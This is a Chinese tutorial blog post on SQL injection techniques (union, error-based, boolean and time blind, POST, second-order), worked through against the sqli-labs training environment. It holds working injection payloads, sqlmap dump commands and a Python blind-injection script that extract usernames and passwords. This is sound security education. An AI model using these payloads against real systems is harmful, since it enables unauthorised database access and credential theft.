SQL各种注入详解加案例--持续更新

sql注入

  • 联合查询注入
    • 案例
      • 手工注入
        • 判断是否有SQL注入漏洞
      • sqlmap工具注入
  • 报错注入
    • 常用的函数
      • updatexml()函数
        • 案例
      • floor()
      • 涉及的函数
      • 实现
        • 手工注入
        • sqlmap工具注入
  • 盲注
    • 布尔盲注
      • 案例
        • 手工注入
        • 脚本
        • sqlmap自动化工具
    • 时间盲注
  • post注入
    • GET传参和POST传参
      • 案例
        • 手工注入
        • sqlmap工具
  • 二次注入

联合查询注入

联合查询注入用到的关键词是union,但是在联合查询的时候必须要满足两张表的列数是相同的不然会出错

案例

手工注入

判断是否有SQL注入漏洞

1,当输入Less-1/?id=1时会显示显示对应的Login name与Password,可以证明我们输入的内容是在数据库里面查询
在这里插入图片描述

2,判断SQL语句是否是拼接
a,当我们输入1’时会报错
在这里插入图片描述

b,当我们输入1'--+时不会报错,就可以使用联合查询的方式进行sql注入
注意:最后的--+是注释符,在Mysql中注释符有--空格#/**/,在浏览器中为什么用–+来注释而不是–空格,因为在url传参时,空格会被忽略掉,+号会被解析成空格。
在这里插入图片描述

我们要了解有多少列可以用order by进行查询
在输入3的时候页面正常显示,
在这里插入图片描述

输入4的时候页面访问错误。说明有三列
在这里插入图片描述

3.爆破在这三个列那个列是在页面显示的

在这里插入图片描述

从显示来看第2,3列里面数据是显示在页面的

4.爆破数据库名

输入?id=1’union select 1,database(),3–+显示出数据库名是security
在这里插入图片描述

5.爆破表
在数据库里面默认有一个库information_schema里面有所有表的信息。
输入?id=-1’union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+时会爆破出表名
在这里插入图片描述

6.爆破字段名
上一步我们获取了4张表,根据表名可以猜到用户的账户密码在users里面

输入?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+得到了两个敏感的字段,username和password
在这里插入图片描述

7.爆破用户名和密码

输入?id=-1’ union select 1,2,group_concat(id,username,password) from users --+就可以得到对应的信息
在这里插入图片描述

sqlmap工具注入

1.命令大全

-u 指定目标URL (可以是http协议也可以是https协议)-d 连接数据库--dbs 列出所有的数据库--current-db 列出当前数据库--tables 列出当前的表--columns 列出当前的列-D 选择使用哪个数据库-T 选择使用哪个表-C 选择使用哪个列--dump 获取字段中的数据--batch 自动选择yes--smart 启发式快速判断,节约浪费时间--forms 尝试使用post注入-r 加载文件中的HTTP请求(本地保存的请求包txt文件)-l 加载文件中的HTTP请求(本地保存的请求包日志文件)-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试-o 开启所有默认性能优化--tamper 调用脚本进行注入-v 指定sqlmap的回显等级--delay 设置多久访问一次--os-shell 获取主机shell,一般不太好用,因为没权限-m 批量操作-c 指定配置文件,会按照该配置文件执行动作-data data指定的数据会当做post数据提交-timeout 设定超时时间--level 设置注入探测等级--risk 风险等级--identify-waf 检测防火墙类型--param-del="分割符" 设置参数的分割符--skip-urlencode 不进行url编码--keep-alive 设置持久连接,加快探测速度--null-connection 检索没有body响应的内容,多用于盲注--thread 最大为10 设置多线程

1.注入库名

python sqlmap.py -u http://192.168.190.1/xh/Less-1/?id=-1' --current-db

在这里插入图片描述
2.注入表名
在这里插入图片描述
3.注入列
在这里插入图片描述
4.拿数据
在这里插入图片描述

报错注入

报错注入应用于在输入构造的sql注入语句的时候页面没有回显位

常用的函数

updatexml()函数

在正常情况下,这个函数会返回被修改后的XML文档。但是,如果XPath表达式在XML文档中不存在,或者XML_document不是有效的XML文档,那么函数将返回一个错误
注意:如果使用updatexml函数的时候,要配合mysql截取函数来使用,因为updatexml显示的字段只有32位,显示不全

案例
?id=1‘ ’and updatexml(1,concat('~',(select database())),3) --+

在这里插入图片描述
当然后续的步骤和联合查询注入步骤一样,只需要修改database()
注意在最后获取数据的时候,因为updatexml显示有限制,需要用到截取函数来显示

?id=1'and updatexml(1,concat(0x7e,(select substring(group_concat(username,'~',password),1,30) from users)),3) --+

在这里插入图片描述

floor()

涉及的函数

1.rand()函数: 随机返回0~1间的小数
2.floor()函数: 小数向下取整数。
3.group by子句: 分组语句,常用于,结合统计函数,根据一个或多个列,对结果集进行分组
4.count()函数:汇总统计数量
5.concat()将括号内数据用第一个字段连接起来
注意:rand()函数进行分组group by和统计count()时可能会多次执行,导致键值key重复
以payload concat(floor(rand(0)*2),database()) 为例子,当执行时会显示1security主键重复,这是为什么呢

在sql执行的时候,floor是向下取整,配合rand(0)*2产生的前五位数字一定是01101,这下就简单了,我们来模拟group_by过程,遍历 表第一行时,先计算出一个 x=0security,查临时表,不存在,再次计算 x 然后插入 x=1security;遍历到第二行,计算出一个 x=1security,临时表中已经存在,继续遍历;遍历到第三行,计算出一个 x=0security,发现表中没有,再次计算 x 然后插入 x=1security,注意已经插入过1security,所以会出现报错,将1security报错出来

实现

手工注入

爆破数据库名

?id=1' union select 1,count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x --+

在这里插入图片描述
后续的步骤和前面注入的过程类似

#爆表名:(网上有博客说不能使用 group_concat 拼接,但是在 sqli-labs Less-5 测试可以使用。如果不能使用的话,可以使用 limit)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(table_name) from information_schema.tables where table_schema="security"))x from information_schema.tables group by x--+#爆列名:(where 后面有两个判断条件:库名和表名,避免不同库中有相同表名,造成查询出来的数据混乱)
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"))x from information_schema.tables group by x--+#爆数据:
id=-1' union select 1,count(*),concat(floor(rand(0)*2),(select concat(username,0x7e,password) from `users` limit 0,1))x from information_schema.tables group by x--+
sqlmap工具注入
python sqlmap.py -u http://192.168.190.1/xh/Less-5/?id=-1' -D security -T users -C id,username,password --dump

在这里插入图片描述

盲注

布尔盲注

判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入。

案例

手工注入

1.挨个判断数据库名
/?id=1’ and ascii(substr((select database()),1,1))=115–+
发现数据库第一位是s
然后判断第二位
/?id=1’ and ascii(substr((select database()),2,1))=102–+

2.当获取到数据库名时候继续挨个判断表名,列名,以及判断数据
手工的方法比较的麻烦且费时间

脚本
import requests
import mathurl = "http://192.168.190.1/xh/Less-8/"def dblength():for i in range(20):payload = f"1' and length(database())>{i}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' not in res.text:return idef getdbname():dbname = ''length = dblength()for i in range(1, length + 1):low = 32high = 126flag = 0while low <= high:mid = (low + high) // 2payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "data = {'id': payload}res = requests.get(url, params=data)if 'You are in...........' in res.text:low = midelse:high = midif mid == flag:dbname += chr(math.floor(mid + 1))breakflag = midprint(dbname)return dbnameprint(getdbname())

利用简单的二分法查找就可以注入出想要的数据
在这里插入图片描述

sqlmap自动化工具
python sqlmap.py -u http://192.168.190.1/xh/Less-8/?id=-1' -D security -T users -C id,username,password --dump

在这里插入图片描述

时间盲注

时间盲注和布尔盲注的区别是,不管输入的数据正不正确只显示一个跳转页面,当然在注入的时候可以加一个sleep函数使得页面进行沉睡,当访问正确的时候,页面沉睡几秒后跳转,访问错误页面即可跳转。

?id=1' and if((ascii(substr(查询语句,1,1)) =1), sleep(5), 3) -- +

可以利用上述的代码来进行查询

如果页面响应时间超过5秒,说明字符内容判断正确; 如果页面响应时间不超过5秒(正常响应),说明字符内容判断错误,递增猜解该字符的其他可能性。
第一个字符猜解成功后,依次猜解第二个、第三个……第n个

时间盲注所消耗的时间远远比布尔盲注的时间久,有时候还会受网络波动的影响。
当然也可以用脚本来实现,至于要设定一个沉睡时间就可以。

post注入

GET传参和POST传参

GET传参就是我们平常的在访问一个网页地址的时候,网址的网站路径后面加的“?”后面的参数等于…。例如“http://www.xxx.com?id=1”,这里的?id中的id就是以GET传参方式传递的。即:GET方式传递的参数都会在URL中显示出来。GET方式传参如果传递的是用户名和密码的话,就显得数据在传输过程中保密性非常的差。这时候就出来了另一种参数提交方式——POST传参。
POST方式就是不容易泄露敏感信息,因为POST传递的参数的数据都在请求体中,只有通过使用抓包软件才能够获取我们POST方式提交的数据。一般POST的提交方式都会出现在账号登录,密码修改的功能当中。

案例

手工注入

1.在源码的提示下,可以清楚的看到可以利用单引号进行闭合,并且是报错注入
在这里插入图片描述

在form表单中进行注入操作
在username里面输入注入信息
admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#
password里面随便书写
在这里插入图片描述
进而爆破出数据库名。
接下来就是熟悉的爆破表名,列名以及拿数据
爆破表名

admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

在这里插入图片描述
爆破列名

admin' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

发现没有显示敏感字段,是因为updatexml所显示的字段有限,可以利用截取函数来实现后面的字段的显示
在这里插入图片描述
爆破数据

admin' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

在这里插入图片描述

sqlmap工具

因为是post注入,需要用bp来抓取请求包来生成txt文件,利用txt文件来对目标进行注入操作
1.bp抓包并生成txt文件
在这里插入图片描述
2.进入到sqlmap工具中,利用-r字段来指定文件

python sqlmap.py -r D:\x.txt -D security -T users -C id,username,password --dump

在这里插入图片描述

二次注入

查看源码

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

发现mysql_real_escape_string进行转义处理,无法进行SQL注入
但是又发现,我们可以注册一个账号,注册的账号是admin’#
在这里插入图片描述
新用户注册时的代码

if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";

发现在执行的时候sername、password、re_password仍均被mysql_escape_string进行了转义处理。
当我们在上帝视角查看数据时,在表里面显示,并没有被转译掉
在这里插入图片描述
这我们就可以用admin’#来登录,然后跳转到修改密码的界面。
在这里插入图片描述
我们进行修改密码,发现admin的密码被修改掉了。
在这里插入图片描述
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/392471.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用 Python 制作一个属于自己的 AI 搜索引擎

1. 使用到技术 OpenAI KEYSerper KEYBing Search 2. 原理解析 使用Google和Bing的搜搜结果交由OpenAI处理并给出回答。 3. 代码实现 import requests from lxml import etree import os from openai import OpenAI# 从环境变量中加载 API 密钥 os.environ["OPENAI_AP…

MySQL:索引(Index)语句

索引的限制 每个表最多可以有 16 个索引&#xff08;InnoDB 表的限制&#xff09;。 单个索引最多可以包含 16 列。 索引列的最大长度为 767 字节&#xff08;对于 CHAR, VARCHAR, 和 BINARY 类型&#xff09;&#xff0c;3072 字节&#xff08;对于 BLOB 类型&#xff09;。…

浅谈取样器插件之bzm - Free-Form Arrivals Thread Group

浅谈取样器插件之bzm - Free-Form Arrivals Thread Group bzm - Free-Form Arrivals (Ultimate Thread Group) 是一个高级且灵活的线程组插件&#xff0c;专为Apache JMeter设计。它扩展了JMeter的标准线程组功能&#xff0c;允许用户以自由形式定义线程&#xff08;用户&…

SSM项目学习:用xml配置文件或注解开发实现控制反转和依赖注入

什么是SSM SSMSpring(Spring Framework)Spring MVC mybatis Spring Framework系统架构 Spring Framework学习线路 IoC(Inversion of Control)和DI(Dependency Injection) 他们解决的问题&#xff1a;代码耦合度高的问题&#xff0c;需要类自己new对象&#xff0c;修改部分代…

03、DQL(数据查询语句)

目录 1、编写顺序 2、基本查询 3、条件查询 4、聚合函数 5、分组查询 6、排序查询 7、分页查询 8、执行顺序 1、编写顺序 SELECT 字段列表 FROM 表名列表 WHERE 条件列表 GROUP BY 分组字段列表 HAVING 分组后条件列表 ORDER BY 排序字段列表 LIMIT 分页参数2、基本查…

简单的docker学习 第11章 镜像中心

第11章 镜像中心 Docker Hub 与阿里云都是 Docker 的公网镜像中心&#xff0c;用户可以将自己的镜像 push 到公网镜像中心中自己的镜像仓库&#xff0c;并可将仓库设置为私有库&#xff0c;使他人无法看到&#xff0c;更无法 pull&#xff0c;以保证镜像的安全性。不过&#x…

【LeetCode刷题笔记】LCR.27 回文链表

创作不易&#xff0c;本篇文章如果帮助到了你&#xff0c;还请点赞 关注支持一下♡>&#x16966;<)!! 主页专栏有更多知识&#xff0c;如有疑问欢迎大家指正讨论&#xff0c;共同进步&#xff01; 更多算法知识专栏&#xff1a;算法分析&#x1f525; 给大家跳段街舞感谢…

为什么康耐视visionpro的C#二次开发调用的recorddisplay控件偶尔会显示白色的,偶尔又正常了?

recorddisplay控件正常显示 异常显示 原因分析&#xff1a; 没有完全加载recorddisplay控件&#xff0c;有可能是有bug没有完全加载&#xff0c;打断点调试控件是否完全加载。

EMQX服务器安装MQTT测试

cd /usr/local/develop wget https://www.emqx.com/en/downloads/broker/5.7.1/emqx-5.7.1-el7-amd64.tar.gz mkdir -p emqx && tar -zxvf emqx-5.7.1-el7-amd64.tar.gz -C emqx ./emqx/bin/emqx start 重启 ./emqx/bin/emqx restart http://10.8.0.1:18083/ 账号ad…

【Kubernetes】应用的部署(一):金丝雀部署

应用的部署&#xff08;一&#xff09;&#xff1a;金丝雀部署 在项目迭代开发过程中&#xff0c;经常需要对应用进行上线部署。上线部署策略主要有 3 种&#xff1a;金丝雀部署、蓝绿部署 和 滚动部署。 金丝雀部署 也被叫作 灰度部署。金丝雀部署过程&#xff1a;先让一部分…

letcode 分类练习 哈希表 242.有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和

letcode 分类练习 哈希表 242.有效的字母异位词 349. 两个数组的交集 202. 快乐数 1. 两数之和 242.有效的字母异位词349.两个数组的交集202.快乐数1.两数之和 242.有效的字母异位词 分别定义两个字母哈希表就可以了 class Solution { public:bool isAnagram(string s, strin…

搭建pxe网络安装环境

实验目的&#xff1a; 搭建pxe网络安装环境实现服务器自动部署 实验原理&#xff1a; PXE 网络安装环境实现服务器自动部署的实验原理为&#xff1a; 待安装的服务器&#xff08;PXE 客户端&#xff09;开机时&#xff0c;BIOS 设置从网络启动&#xff0c;向网络发送请求。…

科普文:JUC系列之ForkJoinPool源码解读ForkJoinWorkerThread

科普文&#xff1a;JUC系列之ForkJoinPool基本使用及原理解读-CSDN博客 科普文&#xff1a;JUC系列之ForkJoinPool源码解读概叙-CSDN博客 科普文&#xff1a;JUC系列之ForkJoinPool源码解读WorkQueue-CSDN博客 科普文&#xff1a;JUC系列之ForkJoinPool源码解读ForkJoinTask…

【第13章】Spring Cloud之Gateway全局异常处理

文章目录 前言一、异常处理1. 响应实体类2. 异常处理类 二、单元测试1. 无可用路由2. 服务不可用 总结 前言 网关作为我们对外服务的入口起着至关重要的作用&#xff0c;我们必须保证网关服务的稳定性&#xff0c;下面来为网关服务增加异常处理机制。 一、异常处理 1. 响应实…

K个一组翻转链表(LeetCode)

题目 给你链表的头节点 &#xff0c;每 个节点一组进行翻转&#xff0c;请你返回修改后的链表。 是一个正整数&#xff0c;它的值小于或等于链表的长度。如果节点总数不是 的整数倍&#xff0c;那么请将最后剩余的节点保持原有顺序。 你不能只是单纯的改变节点内部的值&…

UE GAS学习

【Unreal】虚幻GAS系统快速入门-CSDN博客 GameplayTags FGameplayTags是一种层级标签&#xff0c;如Parent.Child.GrandChild。 通过GameplayTagManager进行注册。替代了原来的Bool&#xff0c;或Enum的结构&#xff0c;可以在玩法设计中更高效地标记对象的行为或状态。 Gamep…

牛客周赛 Round 54 (A~E)

#牛客周赛 Round 54 &#xff08;A~E&#xff09; 前言&#xff1a; 以后会定时更新很多比赛的题解 希望借此让自己坚持赛后补题 要不然写完就结束 自己水平没有一点提高 本人很菜所以不会更新 太难的题 加油&#xff01;&#xff01;&#xff01;1. ​清楚姐姐的糖葫芦…

C语言之递归函数

文章目录 &#x1f34a;自我介绍&#x1f34a;递归函数 你的点赞评论就是对博主最大的鼓励 当然喜欢的小伙伴可以&#xff1a;点赞关注评论收藏&#xff08;一键四连&#xff09;哦~ &#x1f34a;自我介绍 Hello,大家好&#xff0c;我是小珑也要变强&#xff08;也是小珑&…

C#学习笔记12:SYN6288语音模块_Winform上位机控制软件

今日尝试使用C# Winform写一个上位机软件控制 SYN6288语音模块 这里不讲什么基本原理(或者讲的比较略简)&#xff0c;直接讲实现了就...... 文章提供测试代码讲解、测试效果图、整体测试工程下载 目录 控件的摆放&#xff1a; SYN6288介绍: 代码编程&#xff1a; 对16进制发送…

VUE.js

目录 一、什么是VUE.js 二、VUE.js优点 三、VUE安装 四、第一个VUE程序 五、Vue指令 v-text v-html v-on v-model v-show v-if v-bind v-for 六、VUE实例生命周期 七、Vue-CLI搭建项目 主要的功能 需要的环境 八、组件路由 搭建步骤: 1. 创建 router 目录 …